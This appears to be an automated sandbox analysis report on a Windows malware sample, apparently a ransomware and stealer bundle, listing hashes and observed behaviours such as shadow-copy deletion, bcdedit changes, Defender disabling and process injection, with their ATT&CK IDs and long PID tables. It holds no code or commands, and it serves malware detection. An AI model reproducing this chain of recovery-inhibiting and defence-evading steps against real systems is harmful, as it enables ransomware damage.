fc434b99b49d02aa6c0adec798379894158e3d6ce92c869964a6b421d106bba8

Analysis

max time kernel
59s
max time network
127s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/07/2026, 16:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
Size 11.6MB
Sample260723-vgjgraca68
SHA256 fc434b99b49d02aa6c0adec798379894158e3d6ce92c869964a6b421d106bba8
MD5 460efc301c54085952e9e9811c80b653
SHA1 4d15b0a52bc029d7dd736b83e7be378a337a260e
SHA512 4e5d0be050424f460172a84dd3074bc21b32ecf17c436fc4c41d6bf367ab647da27ab501ea19e2a57f16a3634f3d81d108d12bf23b242e7fade6962a8ca885a8
SSDEEP 196608:F6nhcd3w0AE2gWXEpXnH2ph1iut1/1QpL0uQg+xeukjUtK7voKgpVFBZ3:yhA1F2gWXEAphVtrQSg+xeXjUK7vFgtB
TLSH
T1F1C63398739909E8F8BA413C6CC0CA2393E1B8612BA5D2EB17F14C551D372D9EF74B91
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion evasion execution impact ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 64 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
4340	bcdedit.exe
2976	bcdedit.exe
3892	bcdedit.exe
5576	bcdedit.exe
4188	bcdedit.exe
4892	bcdedit.exe
5452	bcdedit.exe
5788	bcdedit.exe
4640	bcdedit.exe
4932	bcdedit.exe
3224	bcdedit.exe
4188	bcdedit.exe
3996	bcdedit.exe
304	bcdedit.exe
4360	bcdedit.exe
4184	bcdedit.exe
1132	bcdedit.exe
1352	bcdedit.exe
5244	bcdedit.exe
5516	bcdedit.exe
3892	bcdedit.exe
804	bcdedit.exe
4952	bcdedit.exe
4648	bcdedit.exe
5972	bcdedit.exe
4840	bcdedit.exe
2156	bcdedit.exe
1456	bcdedit.exe
2204	bcdedit.exe
1392	bcdedit.exe
5516	bcdedit.exe
404	bcdedit.exe
5136	bcdedit.exe
3760	bcdedit.exe
4492	bcdedit.exe
2420	bcdedit.exe
1572	bcdedit.exe
4528	bcdedit.exe
2912	bcdedit.exe
4528	bcdedit.exe
6132	bcdedit.exe
3212	bcdedit.exe
3032	bcdedit.exe
4236	bcdedit.exe
4684	bcdedit.exe
4184	bcdedit.exe
5880	bcdedit.exe
3056	bcdedit.exe
3212	bcdedit.exe
5896	bcdedit.exe
5852	bcdedit.exe
5896	bcdedit.exe
5352	bcdedit.exe
4676	bcdedit.exe
3056	bcdedit.exe
6252	bcdedit.exe
6512	bcdedit.exe
6780	bcdedit.exe
7040	bcdedit.exe
6216	bcdedit.exe
6452	bcdedit.exe
6788	bcdedit.exe
2908	bcdedit.exe
6384	bcdedit.exe

Disables one or more Microsoft Defender components 1 TTPs 64 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
6976	powershell.exe
5512	powershell.exe
3228	powershell.exe
5868	powershell.exe
5068	powershell.exe
1936	powershell.exe
2508	powershell.exe
5784	powershell.exe
5168	powershell.exe
3064	powershell.exe
2696	powershell.exe
3892	powershell.exe
4684	powershell.exe
3268	powershell.exe
5704	powershell.exe
6308	powershell.exe
5868	powershell.exe
1044	powershell.exe
5240	powershell.exe
3544	powershell.exe
5580	powershell.exe
2512	powershell.exe
2172	powershell.exe
6604	powershell.exe
6360	powershell.exe
4920	powershell.exe
6108	powershell.exe
2432	powershell.exe
5608	powershell.exe
1852	powershell.exe
4220	powershell.exe
3088	powershell.exe
1384	powershell.exe
7096	powershell.exe
2464	powershell.exe
388	powershell.exe
1852	powershell.exe
6956	powershell.exe
6588	powershell.exe
6212	powershell.exe
6164	powershell.exe
6384	powershell.exe
1060	powershell.exe
5700	powershell.exe
2732	powershell.exe
1988	powershell.exe
2732	powershell.exe
6084	powershell.exe
6896	powershell.exe
6744	powershell.exe
4164	powershell.exe
6320	powershell.exe
6864	powershell.exe
6568	powershell.exe
6836	powershell.exe
6964	powershell.exe
3444	powershell.exe
1316	powershell.exe
5708	powershell.exe
3544	powershell.exe
6108	powershell.exe
2364	powershell.exe
1808	powershell.exe
4272	powershell.exe

Loads dropped DLL 64 IoCs

pid	Process
1608	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1608	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1608	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1608	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1608	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1608	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1608	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1608	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1608	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1608	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1608	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1608	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1608	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1244	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1244	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1244	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1244	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1244	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1244	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1244	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1244	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1244	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1244	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1244	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1244	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1244	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
6072	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
6072	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
6072	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
6072	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
6072	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
6072	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
6072	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
6072	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
6072	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
6072	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
6072	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
6072	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
6072	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3936	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3936	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3936	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3936	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3936	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3936	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3936	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3936	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3936	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3936	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3936	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3936	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3936	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1112	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1112	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1112	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1112	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1112	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1112	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1112	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1112	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1112	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1112	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1112	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1112	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2508	powershell.exe
6084	powershell.exe
4120	powershell.exe
7096	powershell.exe
6240	powershell.exe
6588	powershell.exe
5580	powershell.exe
4584	powershell.exe
6108	powershell.exe
3228	powershell.exe
6788	powershell.exe
4920	powershell.exe
5168	powershell.exe
1316	powershell.exe
2156	powershell.exe
6604	powershell.exe
6420	powershell.exe
6320	powershell.exe
4272	powershell.exe
2172	powershell.exe
3088	powershell.exe
1384	powershell.exe
3484	powershell.exe
6360	powershell.exe
3064	powershell.exe
5132	powershell.exe
5356	powershell.exe
2512	powershell.exe
2732	powershell.exe
6212	powershell.exe
7084	powershell.exe
6976	powershell.exe
6108	powershell.exe
6084	powershell.exe
4496	powershell.exe
6056	powershell.exe
1044	powershell.exe
4272	powershell.exe
3320	powershell.exe
5700	powershell.exe
6400	powershell.exe
4220	powershell.exe
1060	powershell.exe
2432	powershell.exe
5608	powershell.exe
2732	powershell.exe
1456	powershell.exe
3544	powershell.exe
1988	powershell.exe
5784	powershell.exe
7152	powershell.exe
5708	powershell.exe
5476	powershell.exe
2464	powershell.exe
4864	powershell.exe
3892	powershell.exe
6600	powershell.exe
1808	powershell.exe
5924	powershell.exe
5512	powershell.exe
4236	powershell.exe
3836	powershell.exe
5068	powershell.exe
4684	powershell.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6288	cmd.exe
1844	cmd.exe
1080	cmd.exe
940	cmd.exe
7120	cmd.exe
2616	cmd.exe
5152	cmd.exe
5808	cmd.exe
6016	cmd.exe
6128	cmd.exe
6176	cmd.exe
1648	cmd.exe
6108	cmd.exe
1124	cmd.exe
4780	cmd.exe
5072	cmd.exe
4208	cmd.exe
1304	cmd.exe
6428	cmd.exe
6472	cmd.exe
4836	cmd.exe
2536	cmd.exe
5792	cmd.exe
2208	cmd.exe
6552	cmd.exe
3092	cmd.exe
6320	cmd.exe
3704	cmd.exe
5052	cmd.exe
2864	cmd.exe
5056	cmd.exe
4568	cmd.exe
1944	cmd.exe
6172	cmd.exe
7016	cmd.exe
2540	cmd.exe
6200	cmd.exe
6600	cmd.exe
4640	cmd.exe
3148	cmd.exe
2788	cmd.exe
3904	cmd.exe
4684	cmd.exe
6972	cmd.exe
1428	cmd.exe
4840	cmd.exe
4604	cmd.exe
3476	cmd.exe
5588	cmd.exe
3012	cmd.exe
5796	cmd.exe
3584	cmd.exe
6788	cmd.exe
4372	cmd.exe
2596	cmd.exe
7040	cmd.exe
6836	cmd.exe
2116	cmd.exe
5484	cmd.exe
5856	cmd.exe
2848	cmd.exe
5676	cmd.exe
1964	cmd.exe
1012	cmd.exe

Interacts with shadow copies 3 TTPs 64 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3428	vssadmin.exe
6364	vssadmin.exe
4952	vssadmin.exe
6068	vssadmin.exe
2516	vssadmin.exe
5836	vssadmin.exe
6732	vssadmin.exe
6852	vssadmin.exe
6308	vssadmin.exe
5312	vssadmin.exe
6976	vssadmin.exe
1452	vssadmin.exe
4344	vssadmin.exe
1044	vssadmin.exe
6464	vssadmin.exe
6616	vssadmin.exe
3268	vssadmin.exe
5656	vssadmin.exe
388	vssadmin.exe
2256	vssadmin.exe
4156	vssadmin.exe
200	vssadmin.exe
5312	vssadmin.exe
5352	vssadmin.exe
2420	vssadmin.exe
5656	vssadmin.exe
3732	vssadmin.exe
4184	vssadmin.exe
5352	vssadmin.exe
6688	vssadmin.exe
4304	vssadmin.exe
6456	vssadmin.exe
2680	vssadmin.exe
2256	vssadmin.exe
240	vssadmin.exe
6708	vssadmin.exe
2936	vssadmin.exe
5868	vssadmin.exe
5704	vssadmin.exe
2824	vssadmin.exe
5452	vssadmin.exe
3536	vssadmin.exe
952	vssadmin.exe
400	vssadmin.exe
6204	vssadmin.exe
2988	vssadmin.exe
5912	vssadmin.exe
3428	vssadmin.exe
3176	vssadmin.exe
4940	vssadmin.exe
7048	vssadmin.exe
3864	vssadmin.exe
336	vssadmin.exe
4380	vssadmin.exe
5896	vssadmin.exe
7080	vssadmin.exe
6736	vssadmin.exe
2820	vssadmin.exe
4832	vssadmin.exe
1988	vssadmin.exe
5352	vssadmin.exe
6364	vssadmin.exe
5660	vssadmin.exe
1500	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1060	powershell.exe
1060	powershell.exe
1936	powershell.exe
1936	powershell.exe
1936	powershell.exe
3320	powershell.exe
3320	powershell.exe
3320	powershell.exe
2560	powershell.exe
2560	powershell.exe
2560	powershell.exe
1392	powershell.exe
1392	powershell.exe
1392	powershell.exe
2156	powershell.exe
2156	powershell.exe
2156	powershell.exe
5720	powershell.exe
5720	powershell.exe
5720	powershell.exe
3544	powershell.exe
3544	powershell.exe
3544	powershell.exe
6108	powershell.exe
6108	powershell.exe
6108	powershell.exe
5924	powershell.exe
5924	powershell.exe
5924	powershell.exe
5580	powershell.exe
5580	powershell.exe
5580	powershell.exe
5512	powershell.exe
5512	powershell.exe
5512	powershell.exe
5476	powershell.exe
5476	powershell.exe
5476	powershell.exe
2464	powershell.exe
2464	powershell.exe
2464	powershell.exe
388	powershell.exe
388	powershell.exe
388	powershell.exe
4864	powershell.exe
4864	powershell.exe
4864	powershell.exe
2508	powershell.exe
2508	powershell.exe
2508	powershell.exe
2576	powershell.exe
2576	powershell.exe
2576	powershell.exe
5264	powershell.exe
5264	powershell.exe
5264	powershell.exe
2432	powershell.exe
2432	powershell.exe
2432	powershell.exe
4584	powershell.exe
4584	powershell.exe
4584	powershell.exe
6108	powershell.exe
6108	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1060	powershell.exe
Token: SeIncreaseQuotaPrivilege	1060	powershell.exe
Token: SeSecurityPrivilege	1060	powershell.exe
Token: SeTakeOwnershipPrivilege	1060	powershell.exe
Token: SeLoadDriverPrivilege	1060	powershell.exe
Token: SeSystemProfilePrivilege	1060	powershell.exe
Token: SeSystemtimePrivilege	1060	powershell.exe
Token: SeProfSingleProcessPrivilege	1060	powershell.exe
Token: SeIncBasePriorityPrivilege	1060	powershell.exe
Token: SeCreatePagefilePrivilege	1060	powershell.exe
Token: SeBackupPrivilege	1060	powershell.exe
Token: SeRestorePrivilege	1060	powershell.exe
Token: SeShutdownPrivilege	1060	powershell.exe
Token: SeDebugPrivilege	1060	powershell.exe
Token: SeSystemEnvironmentPrivilege	1060	powershell.exe
Token: SeRemoteShutdownPrivilege	1060	powershell.exe
Token: SeUndockPrivilege	1060	powershell.exe
Token: SeManageVolumePrivilege	1060	powershell.exe
Token: 33	1060	powershell.exe
Token: 34	1060	powershell.exe
Token: 35	1060	powershell.exe
Token: 36	1060	powershell.exe
Token: SeBackupPrivilege	4116	vssvc.exe
Token: SeRestorePrivilege	4116	vssvc.exe
Token: SeAuditPrivilege	4116	vssvc.exe
Token: SeDebugPrivilege	1936	powershell.exe
Token: SeIncreaseQuotaPrivilege	1936	powershell.exe
Token: SeSecurityPrivilege	1936	powershell.exe
Token: SeTakeOwnershipPrivilege	1936	powershell.exe
Token: SeLoadDriverPrivilege	1936	powershell.exe
Token: SeSystemProfilePrivilege	1936	powershell.exe
Token: SeSystemtimePrivilege	1936	powershell.exe
Token: SeProfSingleProcessPrivilege	1936	powershell.exe
Token: SeIncBasePriorityPrivilege	1936	powershell.exe
Token: SeCreatePagefilePrivilege	1936	powershell.exe
Token: SeBackupPrivilege	1936	powershell.exe
Token: SeRestorePrivilege	1936	powershell.exe
Token: SeShutdownPrivilege	1936	powershell.exe
Token: SeDebugPrivilege	1936	powershell.exe
Token: SeSystemEnvironmentPrivilege	1936	powershell.exe
Token: SeRemoteShutdownPrivilege	1936	powershell.exe
Token: SeUndockPrivilege	1936	powershell.exe
Token: SeManageVolumePrivilege	1936	powershell.exe
Token: 33	1936	powershell.exe
Token: 34	1936	powershell.exe
Token: 35	1936	powershell.exe
Token: 36	1936	powershell.exe
Token: SeDebugPrivilege	3320	powershell.exe
Token: SeIncreaseQuotaPrivilege	3320	powershell.exe
Token: SeSecurityPrivilege	3320	powershell.exe
Token: SeTakeOwnershipPrivilege	3320	powershell.exe
Token: SeLoadDriverPrivilege	3320	powershell.exe
Token: SeSystemProfilePrivilege	3320	powershell.exe
Token: SeSystemtimePrivilege	3320	powershell.exe
Token: SeProfSingleProcessPrivilege	3320	powershell.exe
Token: SeIncBasePriorityPrivilege	3320	powershell.exe
Token: SeCreatePagefilePrivilege	3320	powershell.exe
Token: SeBackupPrivilege	3320	powershell.exe
Token: SeRestorePrivilege	3320	powershell.exe
Token: SeShutdownPrivilege	3320	powershell.exe
Token: SeDebugPrivilege	3320	powershell.exe
Token: SeSystemEnvironmentPrivilege	3320	powershell.exe
Token: SeRemoteShutdownPrivilege	3320	powershell.exe
Token: SeUndockPrivilege	3320	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5948 wrote to memory of 1608	5948	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	90
PID 1608 wrote to memory of 1520	1608	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	91
PID 1520 wrote to memory of 1060	1520	cmd.exe	92
PID 1608 wrote to memory of 4448	1608	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	94
PID 4448 wrote to memory of 2988	4448	cmd.exe	145
PID 1608 wrote to memory of 2116	1608	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	98
PID 2116 wrote to memory of 5576	2116	cmd.exe	99
PID 1608 wrote to memory of 1244	1608	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	100
PID 1244 wrote to memory of 1448	1244	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	101
PID 1448 wrote to memory of 1936	1448	cmd.exe	102
PID 1244 wrote to memory of 4552	1244	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	103
PID 4552 wrote to memory of 5828	4552	cmd.exe	104
PID 1244 wrote to memory of 2372	1244	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	105
PID 2372 wrote to memory of 3892	2372	cmd.exe	106
PID 1244 wrote to memory of 6072	1244	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	107
PID 6072 wrote to memory of 5484	6072	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	108
PID 5484 wrote to memory of 3320	5484	cmd.exe	109
PID 6072 wrote to memory of 2916	6072	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	110
PID 2916 wrote to memory of 2008	2916	cmd.exe	111
PID 6072 wrote to memory of 4788	6072	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	112
PID 4788 wrote to memory of 4340	4788	cmd.exe	113
PID 6072 wrote to memory of 3936	6072	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	114
PID 3936 wrote to memory of 5216	3936	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	115
PID 5216 wrote to memory of 2560	5216	cmd.exe	116
PID 3936 wrote to memory of 3024	3936	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	117
PID 3024 wrote to memory of 3864	3024	cmd.exe	118
PID 3936 wrote to memory of 5596	3936	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	119
PID 5596 wrote to memory of 2976	5596	cmd.exe	120
PID 3936 wrote to memory of 1112	3936	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	121
PID 1112 wrote to memory of 2016	1112	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	122
PID 2016 wrote to memory of 1392	2016	cmd.exe	123
PID 1112 wrote to memory of 2200	1112	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	124
PID 2200 wrote to memory of 4952	2200	cmd.exe	125
PID 1112 wrote to memory of 5500	1112	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	126
PID 5500 wrote to memory of 4188	5500	cmd.exe	176
PID 1112 wrote to memory of 4172	1112	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	128
PID 4172 wrote to memory of 764	4172	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	129
PID 764 wrote to memory of 2156	764	cmd.exe	130
PID 4172 wrote to memory of 5340	4172	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	131
PID 5340 wrote to memory of 2420	5340	cmd.exe	132
PID 4172 wrote to memory of 1648	4172	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	133
PID 1648 wrote to memory of 4892	1648	cmd.exe	134
PID 4172 wrote to memory of 620	4172	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	135
PID 620 wrote to memory of 2612	620	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	136
PID 2612 wrote to memory of 5720	2612	cmd.exe	137
PID 620 wrote to memory of 1080	620	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	138
PID 1080 wrote to memory of 2820	1080	cmd.exe	139
PID 620 wrote to memory of 3296	620	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	140
PID 3296 wrote to memory of 5452	3296	cmd.exe	188
PID 620 wrote to memory of 2640	620	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	142
PID 2640 wrote to memory of 3520	2640	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	143
PID 3520 wrote to memory of 3544	3520	cmd.exe	144
PID 2640 wrote to memory of 2988	2640	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	145
PID 2988 wrote to memory of 5532	2988	cmd.exe	234
PID 2640 wrote to memory of 2852	2640	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	147
PID 2852 wrote to memory of 5788	2852	cmd.exe	148
PID 2640 wrote to memory of 3380	2640	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	149
PID 3380 wrote to memory of 3736	3380	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	150
PID 3736 wrote to memory of 6108	3736	cmd.exe	274
PID 3380 wrote to memory of 3704	3380	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	152
PID 3704 wrote to memory of 4832	3704	cmd.exe	153
PID 3380 wrote to memory of 4248	3380	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	154
PID 4248 wrote to memory of 4640	4248	cmd.exe	155
PID 3380 wrote to memory of 2092	3380	2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	156

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

